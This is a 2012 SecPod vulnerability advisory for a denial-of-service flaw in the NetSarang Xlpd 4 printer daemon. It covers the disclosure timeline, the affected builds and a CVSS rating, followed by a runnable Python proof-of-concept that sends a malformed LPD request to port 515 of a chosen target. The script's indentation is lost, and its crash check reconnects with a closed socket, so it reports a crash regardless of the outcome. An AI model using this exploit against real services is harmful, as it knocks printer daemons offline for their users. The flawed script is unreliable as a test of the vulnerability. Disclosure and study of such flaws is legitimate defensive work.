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NetSarang Xlpd Printer Daemon 4 Denial of Service Vulnerability
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来源：http://secpod.org/blog/?p=457 作者：SecPod 发布时间：2012-02-03
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##############################################################################
#
# Title : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
# http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
# http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date : 01/02/2012
#
##############################################################################
SecPod ID: 1033 14/12/2011 Issue Discovered
20/01/2012 Vendor Notified
No Response
01/02/2012 Advisory Released
Class: Denial Of Service Severity: Medium
Overview:
---------
NetSarang Xlpd Printer Daemon version 4 is prone to a denial of service
vulnerability.
Technical Description:
----------------------
The vulnerability is caused due to improper validation of malicious LPD
request sent to printer daemon, which allows remote attackers to crash the
service.
Impact:
--------
Successful exploitation could allow an attacker to cause denial of service
condition.
Affected Software:
------------------
NetSarang Xlpd 4 Build 0100
NetSarang Xmanager Enterprise 4 Build 0186
Tested on:
-----------
NetSarang Xlpd 4 Build 0100 on Windows XP SP3.
NetSarang Xmanager Enterprise 4 Build 0186 on Windows XP SP3.
Older versions might be affected.
References:
-----------
http://www.netsarang.com
http://secpod.org/blog/?p=457
Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
Solution:
----------
Not available
Risk Factor:
-------------
CVSS Score Report:
ACCESS_VECTOR = NETWORK
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = NONE
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = PARTIAL
EXPLOITABILITY = PROOF_OF_CONCEPT
REMEDIATION_LEVEL = UNAVAILABLE
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
Risk factor = Medium
Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.
#!/usr/bin/python
##############################################################################
#
# Title : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability
# Author : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor : http://www.netsarang.com
# Advisory : http://secpod.org/blog/?p=457
# http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt
# http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py
# Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186
# Date : 01/02/2012
#
##############################################################################
import socket,sys,time
port = 515
if len(sys.argv) < 2:
print "\n[-] Usage: %s <target addr>" % sys.argv[0]
sys.exit(0)
target = sys.argv[1]
sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
sockObj.connect((target,port))
except:
print "\n[-] Xlpd service is down."
sys.exit(0)
sockObj.send("crap"+"LF")
sockObj.send("LF")
#Will wait for a while
time.sleep(5)
sockObj.close()
try:
sockObj.connect((target,port))
except:
print "\n[-] Xlpd service is crashed, unble to connect"
sys.exit(0)
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